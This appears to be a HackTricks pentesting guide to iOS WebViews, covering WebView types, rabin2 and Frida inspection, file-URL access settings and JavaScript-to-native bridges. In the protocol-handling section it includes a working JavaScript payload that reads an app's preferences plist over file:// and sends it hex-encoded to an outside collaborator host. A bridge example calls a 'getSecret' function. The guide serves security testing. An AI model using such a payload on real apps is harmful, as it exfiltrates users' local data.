iOS WebViews

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews are utilized within applications to display web content interactively. Various types of WebViews offer different functionalities and security features for iOS applications. Here's a brief overview:

  • UIWebView, which is no longer recommended from iOS 12 onwards due to its lack of support for disabling JavaScript, making it susceptible to script injection and Cross-Site Scripting (XSS) attacks.

  • WKWebView is the preferred option for incorporating web content into apps, offering enhanced control over the content and security features. JavaScript is enabled by default, but it can be disabled if necessary. It also supports features to prevent JavaScript from automatically opening windows and ensures that all content is loaded securely. Additionally, WKWebView's architecture minimizes the risk of memory corruption affecting the main app process.

  • SFSafariViewController offers a standardized web browsing experience within apps, recognizable by its specific layout including a read-only address field, share and navigation buttons, and a direct link to open content in Safari. Unlike WKWebView, JavaScript cannot be disabled in SFSafariViewController, which also shares cookies and data with Safari, maintaining user privacy from the app. It must be displayed prominently according to App Store guidelines.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

In the process of examining WebViews configurations, two primary types are focused on: UIWebView and WKWebView. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

This command helps in locating instances of UIWebView by searching for text strings related to it in the binary.

  • WKWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Similarly, for WKWebView, this command searches the binary for text strings indicative of its usage.

Furthermore, to find how a WKWebView is initialized, the following command is executed, targeting the method signature related to its initialization:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript Configuration Verification

For WKWebView, it's highlighted that disabling JavaScript is a best practice unless required. The compiled binary is searched to confirm that the javaScriptEnabled property is set to false, ensuring that JavaScript is disabled:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Only Secure Content Verification

WKWebView offers the capability to identify mixed content issues, contrasting with UIWebView. This is checked using the hasOnlySecureContent property to ensure all page resources are loaded through secure connections. The search in the compiled binary is performed as follows:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Dynamic Analysis Insights

Dynamic analysis involves inspecting the heap for WebView instances and their properties. A script named webviews_inspector.js is used for this purpose, targeting UIWebView, WKWebView, and SFSafariViewController instances. It logs information about found instances, including URLs and settings related to JavaScript and secure content.

Heap inspection can be conducted using ObjC.choose() to identify WebView instances and check javaScriptEnabled and hasonlysecurecontent properties.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
  onMatch: function (ui) {
    console.log('onMatch: ', ui);
    console.log('URL: ', ui.request().toString());
  },
  onComplete: function () {
    console.log('done for UIWebView!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
  onMatch: function (sf) {
    console.log('onMatch: ', sf);
  },
  onComplete: function () {
    console.log('done for SFSafariViewController!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
  }
});

The script is executed with:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Key Outcomes:

  • Instances of WebViews are successfully located and inspected.

  • JavaScript enablement and secure content settings are verified.

This summary encapsulates the critical steps and commands involved in analyzing WebView configurations through static and dynamic approaches, focusing on security features like JavaScript enablement and mixed content detection.

WebView Protocol Handling

Handling content in WebViews is a critical aspect, especially when dealing with various protocols such as http(s)://, file://, and tel://. These protocols enable the loading of both remote and local content within apps. It is emphasized that when loading local content, precautions must be taken to prevent users from influencing the file's name or path and from editing the content itself.

WebViews offer different methods for content loading. For UIWebView, now deprecated, methods like loadHTMLString:baseURL: and loadData:MIMEType:textEncodingName:baseURL: are used. WKWebView, on the other hand, employs loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, and loadRequest: for web content. Methods such as pathForResource:ofType:, URLForResource:withExtension:, and init(contentsOf:encoding:) are typically utilized for loading local files. The method loadFileURL:allowingReadAccessToURL: is particularly notable for its ability to load a specific URL or directory into the WebView, potentially exposing sensitive data if a directory is specified.

To find these methods in the source code or compiled binary, commands like the following can be used:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Regarding file access, UIWebView allows it universally, whereas WKWebView introduces allowFileAccessFromFileURLs and allowUniversalAccessFromFileURLs settings for managing access from file URLs, with both being false by default.

A Frida script example is provided to inspect WKWebView configurations for security settings:

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
    console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
    console.log('allowFileAccessFromFileURLs: ',
            wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
    console.log('allowUniversalAccessFromFileURLs: ',
            wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});

Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. This payload encodes file contents into hex format before transmitting them to a server, highlighting the importance of stringent security measures in WebView implementations.

String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

From iOS 7 onwards, Apple provided APIs for communication between JavaScript in a WebView and native Swift or Objective-C objects. This integration is primarily facilitated through two methods:

  • JSContext: A JavaScript function is automatically created when a Swift or Objective-C block is linked to an identifier within a JSContext. This allows for seamless integration and communication between JavaScript and native code.

  • JSExport Protocol: By inheriting the JSExport protocol, native properties, instance methods, and class methods can be exposed to JavaScript. This means any changes made in the JavaScript environment are mirrored in the native environment, and vice versa. However, it's essential to ensure that sensitive data is not exposed inadvertently through this method.

Accessing JSContext in Objective-C

In Objective-C, the JSContext for a UIWebView can be retrieved with the following line of code:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

For WKWebView, direct access to JSContext is not available. Instead, message passing is utilized through the postMessage function, enabling JavaScript to native communication. Handlers for these messages are set up as follows, enabling JavaScript to interact with the native application securely:

func enableJavaScriptBridge(_ enabled: Bool) {
    options_dict["javaScriptBridge"]?.value = enabled
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

    if enabled {
        let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
        userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
    }
}

Interaction and Testing

JavaScript can interact with the native layer by defining a script message handler. This allows for operations like invoking native functions from a webpage:

function invokeNativeOperation() {
    value1 = document.getElementById("value1").value
    value2 = document.getElementById("value2").value
    window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

To capture and manipulate the result of a native function call, one can override the callback function within the HTML:

<html>
    <script>
        document.location = "javascriptbridge://getSecret"
        function javascriptBridgeCallBack(name, result) {
            alert(result);
        }
    </script>
</html>

The native side handles the JavaScript call as shown in the JavaScriptBridgeMessageHandler class, where the result of operations like multiplying numbers is processed and sent back to JavaScript for display or further manipulation:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
    // Handling "multiplyNumbers" operation
    case "multiplyNumbers":
        let arg1 = Double(messageArray[1])!
        let arg2 = Double(messageArray[2])!
        result = String(arg1 * arg2)
    // Callback to JavaScript
    let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
    message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

To effectively debug web content within iOS webviews, a specific setup involving Safari's developer tools is required due to the fact that messages sent to console.log() are not displayed in Xcode logs. Here's a simplified guide, emphasizing key steps and requirements:

  • Preparation on iOS Device: The Safari Web Inspector needs to be activated on your iOS device. This is done by going to Settings > Safari > Advanced, and enabling the Web Inspector.

  • Preparation on macOS Device: On your macOS development machine, you must enable developer tools within Safari. Launch Safari, access Safari > Preferences > Advanced, and select the option to Show Develop menu.

  • Connection and Debugging: After connecting your iOS device to your macOS computer and launching your application, use Safari on your macOS device to select the webview you want to debug. Navigate to Develop in Safari's menu bar, hover over your iOS device's name to see a list of webview instances, and select the instance you wish to inspect. A new Safari Web Inspector window will open for this purpose.

However, be mindful of the limitations:

  • Debugging with this method requires a macOS device since it relies on Safari.

  • Only webviews in applications loaded onto your device through Xcode are eligible for debugging. Webviews in apps installed via the App Store or Apple Configurator cannot be debugged in this manner.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated